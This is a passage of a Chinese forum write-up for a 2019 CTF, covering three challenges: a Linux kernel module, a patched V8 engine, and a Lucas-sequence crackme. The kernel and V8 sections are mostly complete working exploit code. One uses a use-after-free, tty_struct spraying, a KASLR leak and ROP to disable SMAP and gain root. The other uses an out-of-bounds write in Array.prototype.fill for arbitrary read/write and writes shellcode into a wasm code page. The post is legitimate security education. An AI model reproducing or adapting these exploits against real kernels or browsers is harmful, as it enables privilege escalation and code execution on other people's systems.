      staffs[idx].linked_to = -1LL;
      v10 = kmem_cache_alloc(v8, 3520LL);
      ++cnt;
      staffs[idx].data = v10;                   // data can be uninitialized
      ret = 0LL;
      break;
    case 0x1337:
      if ( copy_from_user(args, args_user, 16LL) )
        goto LABEL_39;
      _idx = args[0];
      if ( args[0] >= cnt )
        goto LABEL_39;
      if ( cnt <= args[1] )
        goto LABEL_39;
      target = &staffs[args[1]];
      if ( target->rc == 0xDEADBEEFLL )
        goto LABEL_39;
      target->linked_to = args[0];
      ret = 0LL;
      target->what = staffs[_idx].rc;
      break;
    case 0x1338:                                // lock staff
      if ( big_master_num || args_user >= cnt )
        goto LABEL_39;
      big_master_num = 1LL;
      staffs[args_user].rc = 0xDEADBEEFLL;
      ret = 0LL;
      break;
    case 0x1339:                                // unlock staff
      if ( args_user >= cnt )
        goto LABEL_39;
      if ( staffs[args_user].rc == 0xDEADBEEFLL )
        big_master_num = 0LL;
      ret = 0LL;
      staffs[args_user].rc = 1LL;
      break;
    case 0x133A:                                // write data
      if ( !copy_from_user(args, args_user, 24LL) && args[0] < cnt )
      {
        size = args[2];
        if ( args[2] <= 0x300uLL )
        {
          cur = &staffs[args[0]];
          if ( cur->rc != 0xDEADBEEFLL && cnt > cur->linked_to )
          {
            cur_ptr = cur->data;
            if ( !cur_ptr )
            {
              cur->data = kmem_cache_alloc(kmalloc_caches[10], 3520LL);// 1024 bytes
              size = args[2];
              cur_ptr = staffs[args[0]].data;
            }
            if ( !copy_from_user(cur_ptr, args[1], size) )
              goto LABEL_16;
          }
        }
      }
      goto LABEL_39;
    case 0x133B:                                // read data
      if ( copy_from_user(args, args_user, 24LL) )
        goto LABEL_39;
      if ( args[0] >= cnt )
        goto LABEL_39;
      if ( args[2] > 0x300uLL )
        goto LABEL_39;
      _cur = &staffs[args[0]];
      if ( _cur->rc == 0xDEADBEEFLL || cnt <= _cur->linked_to || copy_to_user(args[1], _cur->data, args[2]) )// LEAK: data can be uninitialized
        goto LABEL_39;
      ret = 0LL;
      break;
    case 0x133C:
      if ( args_user >= cnt )
        goto LABEL_39;
      cur_ = &staffs[args_user];
      if ( cur_->rc == 0xDEADBEEFLL || cur_->linked_to == -1 )
        goto LABEL_39;
      if ( cur_->what == 0xDEADBEEFLL )
      {
        ret = 0LL;
        kfree(cur_->data);
        cur_->data = 0LL;
        cur_->linked_to = -1LL;
      }
      else
      {
        cur_->linked_to = -1LL;
        ret = 0LL;
      }
      break;
    case 0x133D:
      if ( copy_from_user(args, args_user, 24LL)
        || args[0] >= cnt
        || cnt <= args[1]
        || cnt <= args[2]
        || (v7 = &staffs[args[2]], v7->rc == 0xDEADBEEFLL)
        || args[1] != v7->linked_to )
      {
LABEL_39:
        ret = -22LL;
      }
      else if ( v7->what != 0xDEADBEEFLL || staffs[args[0]].rc != 0xDEADBEEFLL || args[0] == args[1] )
      {
        staffs[args[0]].linked_to = -1LL;
LABEL_16:
        ret = 0LL;
      }
      else
      {
        ret = 0LL;
        kfree(v7->data);                        // UAF / double free
      }
      break;
    default:
      break;
  }
  mutex_unlock(&lock);
  return ret;
}

BUG 主要是在 0x133D 里面满足一些条件的时候可以任意 free Staff::data,从而造出 double free / UAF。这里的对象是分配在 kmalloc_caches[10] 上的,比较大,可以用 tty 占上。

 

利用稍微有一点蛋疼,是因为作者编译的内核精简过度了,甚至连 SMP 都没开(那为什么 qemu 启动的时候要给多核呢?搞不懂。),导致 workqueue 相关的函数没有编译进去,没法利用里面的一个很好用的 gadget。由于开了 SMAP,需要内核 ROP。栈迁移可以用内核里fault的时候用到的一个天然的保存栈/栈迁移指令序列,可以把 rsp 迁到 rax 指向的地方。

 

接下来 ROP 关掉 SMAP,把栈迁回用户态,写一个长一点的 ROP 提权,再返回用户态即可。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

#define TTY_MAGIC 0x5401
#define TIOCSBRK 0x5427

#define KPWN_IOCTL_BASE 0x1336

int modfd = 0;

int create_staff() {
    int ret = ioctl(modfd, KPWN_IOCTL_BASE + 0);
    if (ret < 0) {
        perror("create_staff");
        exit(1);
    }
    return ret;
}

int link_staff(uint64_t to, uint64_t from) {
    uint64_t args[2] = {to, from};
    int ret = ioctl(modfd, KPWN_IOCTL_BASE + 1, args);
    if (ret < 0) {
        perror("link_staff");
        exit(1);
    }
    return ret;
}

int lock_staff(uint64_t idx) {
    int ret = ioctl(modfd, KPWN_IOCTL_BASE + 2, idx);
    if (ret < 0) {
        perror("lock_staff");
        exit(1);
    }
    return ret;
}

int unlock_staff(uint64_t idx) {
    int ret = ioctl(modfd, KPWN_IOCTL_BASE + 3, idx);
    if (ret < 0) {
        perror("unlock_staff");
        exit(1);
    }
    return ret;
}

int write_data(uint64_t idx, void* data, size_t size) {
    uint64_t args[3] = {idx, data, size};
    int ret = ioctl(modfd, KPWN_IOCTL_BASE + 4, args);
    if (ret < 0) {
        perror("write_data");
        exit(1);
    }
    return ret;
}

int read_data(uint64_t idx, void* data, size_t size) {
    uint64_t args[3] = {idx, data, size};
    int ret = ioctl(modfd, KPWN_IOCTL_BASE + 5, args);
    if (ret < 0) {
        perror("read_data");
        exit(1);
    }
    return ret;
}

int destroy_staff(uint64_t idx) {
    int ret = ioctl(modfd, KPWN_IOCTL_BASE + 6, idx);
    if (ret < 0) {
        perror("destroy_staff");
        exit(1);
    }
    return ret;
}

int maybe_unlink_staff(uint64_t idx0, uint64_t idx1, uint64_t idx2) {
    uint64_t args[3] = {idx0, idx1, idx2};
    int ret = ioctl(modfd, KPWN_IOCTL_BASE + 7, args);
    if (ret < 0) {
        perror("maybe_unlink_staff");
        exit(1);
    }
    return ret;
}

const uint64_t KERNELBASE = 0xFFFFFFFF81000000;
const uint64_t ptm_unix98_ops = 0xffffffff816280e0;
const uint64_t pty_unix98_ops = 0xffffffff81627fc0;
// Gadgets:
// 0xffffffff81200f11: mov rsp, rax; lea rbp, [rsp + 1]; push r12; ret;
const uint64_t mov_rsp_rax_pop_copy_pivot_push_ret = 0xFFFFFFFF81200F86;
const uint64_t pop_rdi_ret = 0xffffffff810354a0;
const uint64_t store_rdi_rax_ret = 0xFFFFFFFF811042DF;
const uint64_t load_rdi_rdi_pop_ret = 0xFFFFFFFF8110EAE7;
const uint64_t prepare_kernel_cred = 0xffffffff8104f050;
const uint64_t commit_creds = 0xffffffff8104f210;
const uint64_t ebfe = 0xFFFFFFFF8105E847;
const uint64_t sysret = 0xFFFFFFFF81200106;
const uint64_t pop_r11_pop_ret = 0xffffffff810e8a8e;
const uint64_t pop_rcx_pop_pop_ret = 0xFFFFFFFF81152CE9;
const uint64_t pop_rax_ret = 0xFFFFFFFF8101C6D1;
const uint64_t mov_cr4_rax_pop_ret = 0xffffffff8101c96f;
const uint64_t pop_rsp = 0xFFFFFFFF810C29AF;
const uint64_t nop = 0xFFFFFFFF810C29B1;

uint64_t kaslr_slide = 0;
int ttyfds[128];
uint8_t leakbuf[0x300];
uint8_t rwbuf[0x300];

void hexdump(void* _data, size_t size) {
    uint8_t* data = _data;
    for (int i = 0; i < size; i++) {
        printf("%02x ", data[i]);
        if (i % 16 == 15) {
            putchar('\n');
        }
    }
}

void win() {
    printf("uid = %d\n", getuid());
    execl("/bin/sh", "/bin/sh", NULL);
    while (1);
}

int main(void)
{
    void* ropstack = mmap(0x23340000, 0x10000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    void* userstack = mmap(0x23330000, 0x10000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memset(ropstack, 0xCC, 0x10000);
    memset(userstack, 0xCC, 0x10000);
    ropstack += 0x8000;
    userstack += 0x8000;

    modfd = open("/dev/kpwn", O_RDONLY);
    if (modfd < 0) {
        perror("open");
        return 1;
    }

    create_staff();
    create_staff();
    create_staff();

    lock_staff(0);
    link_staff(0, 1);
    unlock_staff(0);
    lock_staff(2);

    maybe_unlink_staff(2, 0, 1);
    create_staff();
    for (int i = 0; i < 128; i++) {
        ttyfds[i] = open("/dev/ptmx", O_RDWR);
    }
    for (int i = 0; i < 128; i++) {
        if (ttyfds[i] < 0) {
            perror("open ptmx");
            return 1;
        }
    }

    read_data(1, rwbuf, 0x300);
    hexdump(rwbuf, 0x300);
    if (*(uint32_t*)rwbuf != TTY_MAGIC) {
        puts("Failed to reclaim free-d buffer via tty_struct :(");
        return 1;
    }
    uint64_t tty_operations = ((uint64_t*)rwbuf)[3];
    printf("tty_operations = %#016lx\n", tty_operations);
    kaslr_slide = tty_operations - ptm_unix98_ops;
    printf("kaslr slide = %#016lx\n", kaslr_slide);
    printf("kernel text base = %#016lx\n", KERNELBASE + kaslr_slide);
    uint64_t tty_struct = ((uint64_t*)rwbuf)[0x38/8] - 0x38;
    printf("victim tty struct = %#016lx\n", tty_struct);

    uint64_t* nya = (uint64_t*)rwbuf;
    nya[3] = tty_struct + 0x270;
    for (int i = 0; i < 18; i++) {
        nya[0x270 / 8 + i] = 0x4040404040404040 + 0x0101010101010101 * i;
    }
    nya[0x270 / 8 + 11] = mov_rsp_rax_pop_copy_pivot_push_ret + kaslr_slide;
    uint64_t* rop = nya + 0x270 / 8;
    rop[0] = pop_rax_ret + kaslr_slide;
    rop[1] = 0x6b0;
    rop[2] = pop_rcx_pop_pop_ret + kaslr_slide;
    rop[3] = 0x202;
    rop[4] = 0;
    rop[5] = 0;
    rop[6] = mov_cr4_rax_pop_ret + kaslr_slide;
    rop[7] = 0;
    rop[8] = pop_rsp + kaslr_slide;
    rop[9] = ropstack;

    uint64_t* userrop = ropstack;
    *userrop++ = nop + kaslr_slide;
    *userrop++ = nop + kaslr_slide;
    *userrop++ = nop + kaslr_slide;
    *userrop++ = nop + kaslr_slide;

    userrop[0] = pop_rdi_ret + kaslr_slide;
    userrop[1] = 0;
    userrop[2] = prepare_kernel_cred + kaslr_slide;
    userrop[3] = pop_rdi_ret + kaslr_slide;
    userrop[4] = tty_struct+0x300;
    userrop[5] = store_rdi_rax_ret + kaslr_slide;
    userrop[6] = load_rdi_rdi_pop_ret + kaslr_slide;
    userrop[7] = 0;
    userrop[8] = commit_creds + kaslr_slide;
    userrop[9] = pop_r11_pop_ret + kaslr_slide;
    userrop[10] = 0x202;
    userrop[11] = 0;
    userrop[12] = pop_rcx_pop_pop_ret + kaslr_slide;
    userrop[13] = win;
    userrop[14] = 0;
    userrop[15] = 0;
    userrop[16] = sysret + kaslr_slide;
    userrop[17] = 0;
    userrop[18] = 0;
    userrop[19] = userstack;

    write_data(1, rwbuf, 0x300);
    for (int i = 0; i < 128; i++) {
        ioctl(ttyfds[i], TIOCSBRK, 0); // pppppppanic!
    }

    puts("Failed :(");
    while(1);
    return 0;
}

第十二题:精忠报国

没怎么碰过 v8,有说错的地方请多指教。
观赏给出的 diff:

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 13a35b0cd3..3211a43525 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1691,7 +1691,7 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
 }

 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
-  Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
+  Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);/*
   global_template->Set(
       String::NewFromUtf8(isolate, "print", NewStringType::kNormal)
           .ToLocalChecked(),
@@ -1879,7 +1879,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
         String::NewFromUtf8(isolate, "async_hooks", NewStringType::kNormal)
             .ToLocalChecked(),
         async_hooks_templ);
-  }
+  }*/

   return global_template;
 }
diff --git a/src/objects/elements.cc b/src/objects/elements.cc
index 6e5648d2f4..5e259925dc 100644
--- a/src/objects/elements.cc
+++ b/src/objects/elements.cc
@@ -2148,12 +2148,6 @@ class FastElementsAccessor : public ElementsAccessorBase<Subclass, KindTraits> {
     }

     // Make sure we have enough space.
-    uint32_t capacity =
-        Subclass::GetCapacityImpl(*receiver, receiver->elements());
-    if (end > capacity) {
-      Subclass::GrowCapacityAndConvertImpl(receiver, end);
-      CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
-    }
     DCHECK_LE(end, Subclass::GetCapacityImpl(*receiver, receiver->elements()));

     for (uint32_t index = start; index < end; ++index) {

可以注意到引入的 bug 是把 Array.prototype.fill 处理 FastDoubleArray 之类的东西的时候的范围检查给删了。应该是个挺儿童的题目。
直接传一个很大的值并不 work,是因为前面的代码里处理负数 start 和 end 的时候顺便修了 start 和 end 的范围。
如果你找不到前面的代码在哪,推荐使用 ccls (shameless plug /s

 

因为获取 end 啊之类的时候可以触发 callback,可以在 callback 里触发 shrink,这样的话在上面的边界检查被删除的情况下就可以触发一个 OOB 写了。
接下来的做法就是到处搜一搜,拼凑一些利用技巧,组装成 exploit 即可。路径大概是:

  1. 因为这是 CTF 不需要稳定且是在 d8 里面堆特别稳定所以先胡乱风水一下把两个值都是 double 的 array 排到一起。
  2. 触发 bug 改大第二个 array 的长度。
  3. 分配一大堆用来 leak 的 array,里面放上要 leak 的对象,和几个标记用的整数,这是因为 Smi 和 Object 可以混放在同一个 FastArray 里。
  4. 搜索这些整数,找到要 leak 的对象的地址。
  5. 分配一大堆 ArrayBuffer,搜索特征找到一个把它的大小改掉,找一找看看谁被改了。
  6. 改变 ArrayBuffer 的指针就可以任意读写了。
  7. 修改 wasm 函数的代码(9102 年了还是 rwx 的),改成 shellcode。
var CONVERSION = new ArrayBuffer(8); var CONVERSION_U32 = new Uint32Array(CONVERSION); var CONVERSION_F64 = new Float64Array(CONVERSION);
function ljust(x, n, c){ while (x.length < n) x = c+x; return x; }
function rjust(x, n, c){ x += c.repeat(n); return x; }
function tohex64(x){ return "0x"+ljust(x[1].toString(16),8,'0')+ljust(x[0].toString(16),8,'0'); }
function u32_to_f64(u){ CONVERSION_U32[0] = u[0]; CONVERSION_U32[1] = u[1]; return CONVERSION_F64[0]; }
function f64_to_u32(f, b=0){ CONVERSION_F64[0] = f; if (b) return CONVERSION_U32; return new Uint32Array(CONVERSION_U32); }
function gc(){ for (let i=0;i<0x10;i++) new ArrayBuffer(0x800000); }

wasm_bytes = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 1, 127, 0, 96, 0, 0, 2, 25, 1, 7, 105, 109, 112, 111, 114, 116, 115, 13, 105, 109, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 0, 3, 2, 1, 1, 7, 17, 1, 13, 101, 120, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 1, 10, 8, 1, 6, 0, 65, 42, 16, 0, 11]);
wasm_inst = new WebAssembly.Instance(new WebAssembly.Module(wasm_bytes), {imports: {imported_func: function(x){ return x; }}});
wasm_func = wasm_inst.exports.exported_func;

const FORGED_LENGTH = 0x10000;
const nya = u32_to_f64([0, FORGED_LENGTH]);

let arr0 = [];
let victimz = [];
for (let i = 0; i < 128; i++) {
  arr0.push(1.234);
}

arr0.fill(nya, 37, {valueOf() {
  arr0.length = 16;
  // gc();
  for (let i = 0; i < 4096; i++) {
    let victim = Array(16);
    victim.fill(7.777);
    victimz.push(victim);
  }
  return 38;
}});

let bingo;
for (let i = 0; i < victimz.length; i++) {
  if (victimz[i].length == FORGED_LENGTH) {
    bingo = victimz[i];
  }
}
victimz = undefined;

const tag = 0xbabe;
const tagf64 = u32_to_f64([0, tag]);
let ta = [];
for (let i = 0; i < 8192; i++) {
  ta.push(new Uint32Array(0x1000));
  ta[ta.length - 1].buffer;
  let obj_arr = new Array(0x80).fill(wasm_func);
  for (let i = 0; i < 4; i++) obj_arr[i] = tag;
  ta.push(obj_arr);
}
gc();

let badboy = -1;
for (let i = 1; i < bingo.length; i++) {
  let cur = f64_to_u32(bingo[i], 1)[0];
  let last = f64_to_u32(bingo[i - 1], 1)[0];
  // console.log(tohex64(f64_to_u32(bingo[i], 1)));
  if (badboy == -1 && cur == 0x1000 && last == 0x4000) {
    console.log("found", i);
    bingo[i] = u32_to_f64([0x20000000, 0]);
    bingo[i-1] = u32_to_f64([0x80000000, 0]);
    badboy = i;
    break;
  }
}

let wasm_func_addr;
for (let i = 0; i < bingo.length; i++) {
  if (bingo[i] == tagf64 && bingo[i+1] == tagf64 && bingo[i+2] == tagf64 && bingo[i+3] == tagf64) {
    wasm_func_addr = bingo[i+4];
    break;
  }
}

if (badboy == -1) {
  throw "failed";
}

console.log('badboy', badboy);
console.log('wasm_func_addr', tohex64(f64_to_u32(wasm_func_addr)));

let rw;
for (let i = 0; i < ta.length; i++) {
  if (ta[i].length != 0x1000 && ta[i].length != 128) {
    rw = ta[i];
    break;
  }
}

// %DebugPrint(wasm_func);
// %DebugPrint(rw);
// %DebugPrint(rw.buffer);
// console.log("rw", rw.length);
// bingo[badboy + 1] = u32_to_f64([0x41414141, 0x4141]);
// console.log(rw[0]);

function r32(addr) { bingo[badboy + 1] = u32_to_f64(addr); return rw[0]; }
function r64(addr) { bingo[badboy + 1] = u32_to_f64(addr); return [rw[0], rw[1]]; }

ptr = f64_to_u32(wasm_func_addr);
console.log(tohex64(ptr));
ptr[0]--; ptr[0] += 0x18; ptr = r64(ptr);
console.log(tohex64(ptr));
ptr[0]--; ptr[0] += 0x8; ptr = r64(ptr);
console.log(tohex64(ptr));
let co = [ptr[0], ptr[1]];
ptr[0]--; ptr[0] += 0x10; ptr = r64(ptr);
console.log(tohex64(ptr));

// ptr[0]--; r64(ptr);
// for (let i = 0; i < 0x100; i += 2) {
//   let zzz = [rw[i], rw[i+1]];
//   console.log(4*i, tohex64(zzz));
// }

ptr[0]--; ptr[0] += 0x80; ptr = r64(ptr);
console.log(tohex64(ptr));
let codepage = [ptr[0], ptr[1]];
ptr = co;
ptr[0]--; ptr[0] += 0x1c; ptr = r64(ptr);
console.log(tohex64(ptr));
codepage[0] += ptr[0];

ptr = r64(codepage);
// rw[0] = 0xcccccccc;
rw[0] = 3091753066;
rw[1] = 1852400175;
rw[2] = 1932472111;
rw[3] = 3884533840;
rw[4] = 23687784;
rw[5] = 607420673;
rw[6] = 16843009;
rw[7] = 1784084017;
rw[8] = 21519880;
rw[9] = 2303219430;
rw[10] = 1792160230;
rw[11] = 84891707;

wasm_func();

第十三题:大圣归来

作者实现了一个模 n 的 Lucas sequence 上的 RSA。n 是个 256bit 的合数,有三个素因子。参照着解密即可。

 

Python 尽量 1:1 翻译的作者的程序,如果你看不出这是 Lucas sequence,不妨输出前几个值然后 OEIS 一下:

# coding=utf8

import hashlib
try:
  import gmpy2 as gmpy
except:
  import gmpy

WANBIGUIZHAO = u'完璧归赵'.encode('gbk')
WTF = '\xde\xad\xbe\xef\xca\xfe\xc0\xde'
CHECK = u'PEDIY_CTF2019_Q3_完璧归赵_Crackme_Readyu_'.encode('gbk')
USERNAME = 'username'

def CheckCode(inp):
  TAG = 'KXCTFXXXX'
  pos = inp.find(TAG)
  if pos == -1:
    raise ValueError('BadCode: No TAG?')
  part1, part2 = inp[:pos], inp[pos+len(TAG):]
  if len(part1) < 3 or len(part2) < 8:
    raise ValueError('BadCode: Too short')
  if part2[0] == '0':
    raise ValueError('BadCode: Should not start with 0')
  if not all([x in '0123456789ABCDEF' for x in part2]):
    raise ValueError('BadCode: Part2 should contain 0-9A-F only')
  return part1, part2

def BigIntFromBytes(bytez):
  return int(bytez.encode('hex'), 16)

def CheckFlag(check, name, code):
  a, b = CheckCode(code)
  if name != a:
    raise ValueError('BadName')
  if CheckCheck(check, name, 'KXCTF19Q3', b):
    print 'Success'
  else:
    raise ValueError('BadCheck')


class LucasSequence(object):
  class Pair(object):
    def __init__(self, x, y):
      self.x = x
      self.y = y

    def __add__(self, other):
      assert self.lucas == other.lucas
      return self.lucas.add(self, other)

    def __sub__(self, other):
      return self + (-other)

    def __rmul__(self, k):
      return self.lucas.mul(k, self)

    def __neg__(self):
      return self.lucas.neg(self)

    def __repr__(self):
      return 'Pair(x = {:#x}, y = {:#x})'.format(int(self.x), int(self.y))

  def __init__(self, p, a, b):
    self.p = p
    self.a = a
    self.b = b
    self.inv_2 = gmpy.invert(2, p)
    self.k = (a * a - 4 * b) % p

  def __call__(self, x, y):
    pair = LucasSequence.Pair(x % self.p, y % self.p)
    pair.lucas = self
    return pair

  def add(self, p0, p1):
    return self((p0.x * p1.y + p1.x * p0.y) * self.inv_2 % self.p,
                (self.k * p0.x * p1.x + p0.y * p1.y) * self.inv_2 % self.p)

  @property
  def G(self):
    return self(1, self.a)

  @property
  def zero(self):
    return self(0, 2)

  def neg(self, pair):
    return self(-pair.x, pair.y)

  def mul(self, k, p0):
    cur = p0
    ans = self.zero
    while k != 0:
      if k & 1:
        ans = ans + cur
      cur = cur + cur
      k >>= 1
    return ans

  def kth(self, k):
    return k * self.G


def CharwiseNot(text):
  return ''.join(map(lambda x: chr(~ord(x) % 256), text))


def CheckCheck(check, name, salt, code):
  TAIL = WANBIGUIZHAO + WTF + WANBIGUIZHAO + WANBIGUIZHAO
  print repr(hashlib.sha1(code + TAIL).digest())
  code_digest = hashlib.sha1(code + TAIL).digest() + salt
  check_digest = BigIntFromBytes(hashlib.sha1(check).digest())
  name_digest = BigIntFromBytes(hashlib.sha1(name).digest())
  check_name_digest = BigIntFromBytes(hashlib.sha1(check + name).digest())
  wanbi_digest = BigIntFromBytes(hashlib.sha1(WANBIGUIZHAO).digest())

  BLACKLIST = map(BigIntFromBytes, [WANBIGUIZHAO, WANBIGUIZHAO + WANBIGUIZHAO, WTF, salt]) + [
    check_digest, name_digest, check_name_digest, wanbi_digest,
  ]

  # modulo = 128959 * 277879388132275220363 * 804543020813130593505380215293268595059305396789149
  modulo = BigIntFromBytes(hashlib.sha256(WANBIGUIZHAO + WANBIGUIZHAO).digest())
  print 'modulo', hex(modulo)
  x = int(code, 16)
  if x >= modulo or x <= 0x20190910 or x in BLACKLIST:
    return False

  not_code_digest = BigIntFromBytes(CharwiseNot(code_digest[:20]))
  code_digest = BigIntFromBytes(code_digest)
  x = x + check_digest # + modulo

  lucas = LucasSequence(modulo, x, 1)
  p0, _ = lucas.kth(code_digest)
  p1, _ = lucas.kth(not_code_digest)

  x0, y0 = p0.x, p0.y
  x1, y1 = p1.x, p1.y

  # Calc A(2n) from A(n)
  for i in xrange(len(salt)):
    for _ in xrange(8):
      x1 = x1 * y1 % modulo
      y1 = (y1 * y1 - 1 - 1 + modulo + modulo) % modulo

    if x0 == y0 and x1 == y1 and x1 == x0 and x1 != 1:
      return False

  p0 = lucas(x0, y0)
  p1 = lucas(x1, y1)

  lucas2 = LucasSequence(modulo, ((p0 + p1).y + name_digest) % modulo, 1)
  t = lucas2.kth(modulo)[0].y

  cur = t + wanbi_digest + modulo + modulo + modulo + modulo

  for i in xrange(len(salt)):
    cur = cur - modulo
    if cur == check_name_digest:
      return True
    if cur < modulo:
      return False
    if cur < check_name_digest:
      return False
  return False

if __name__ == "__main__":  
  code = '11451400000000'
  CheckFlag(CHECK, USERNAME, USERNAME + 'KXCTFXXXX' + code)

# usernameKXCTFXXXX11451400000000

里面有一些干扰项,去除后可以看到就是两次 Lucas 序列上的 RSA 加密要求结果等于一个常数。对应解密即可:

# coding=utf8

from sage.rings.finite_rings.integer_mod import lucas

import hashlib

WANBIGUIZHAO = u'完璧归赵'.encode('gbk')
CHECK = u'PEDIY_CTF2019_Q3_完璧归赵_Crackme_Readyu_'.encode('gbk')
USERNAME = 'username'
PUBKEY = 'KXCTF19Q3'

def IntFromBytes(bytez):
  return int(bytez.encode('hex'), 16)

def lucas_rsa_decrypt(c, d, n):
  return lucas(d, Mod(c, n), 1)[0]

# Known constants:
PUBKEY_DIGEST = IntFromBytes("\xff" * 20 + PUBKEY)
CHECK_DIGEST = IntFromBytes(hashlib.sha1(CHECK).digest())
NAME_DIGEST = IntFromBytes(hashlib.sha1(USERNAME).digest())
CHECK_NAME_DIGEST = IntFromBytes(hashlib.sha1(CHECK + USERNAME).digest())
WANBI_DIGEST = IntFromBytes(hashlib.sha1(WANBIGUIZHAO).digest())
# MODULO = 128959 * 277879388132275220363 * 804543020813130593505380215293268595059305396789149
MODULO = IntFromBytes(hashlib.sha256(WANBIGUIZHAO + WANBIGUIZHAO).digest())

fac = factor(MODULO)
phi = 1
for x, k in fac:
  assert k == 1, 'must be square free'
  phi *= x**2 - 1

print 'phi =', phi

d1 = Mod(MODULO, phi) ^ -1
d2 = Mod(PUBKEY_DIGEST, phi) ^ -1

m1 = lucas_rsa_decrypt(CHECK_NAME_DIGEST - WANBI_DIGEST, d1, MODULO)
print 'm1 =', m1
m2 = lucas_rsa_decrypt(m1 - NAME_DIGEST, d2, MODULO)
print 'm2 =', m2

code = m2 - CHECK_DIGEST
print 'code =', hex(int(code))

print 'Answer:', 'usernameKXCTFXXXX' + hex(int(code))[2:].rstrip('L').upper()

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2019-9-25 09:51 被kanxue编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (8)
雪    币: 10845
活跃值: (1044)
能力值: (RANK:190 )
在线值:
发帖
回帖
粉丝
看场雪 3 2019-9-25 12:38
2
0
雪    币: 8271
活跃值: (4796)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
v0id_ 2019-9-25 13:24
3
0
太强了
雪    币: 13713
活跃值: (2851)
能力值: ( LV15,RANK:2663 )
在线值:
发帖
回帖
粉丝
poyoten 22 2019-9-25 13:26
4
0
tql
雪    币: 2155
活跃值: (2542)
能力值: ( LV12,RANK:667 )
在线值:
发帖
回帖
粉丝
梦游枪手 2019-9-25 13:35
5
0
太强了
雪    币: 11704
活跃值: (966)
能力值: ( LV12,RANK:779 )
在线值:
发帖
回帖
粉丝
readyu 12 2019-9-25 13:39
6
0
tql
雪    币: 7
能力值: ( LV2,RANK:16 )
在线值:
发帖
回帖
粉丝
汇编HB 2019-9-27 16:48
7
0
这是什么工具写的
雪    币: 17792
活跃值: (60003)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2019-9-27 16:50
8
0
tql
雪    币: 9609
活跃值: (3452)
能力值: ( LV12,RANK:319 )
在线值:
发帖
回帖
粉丝
堂前燕 1 2019-9-27 17:44
9
0
tql  Orz
游客
登录 | 注册 方可回帖
返回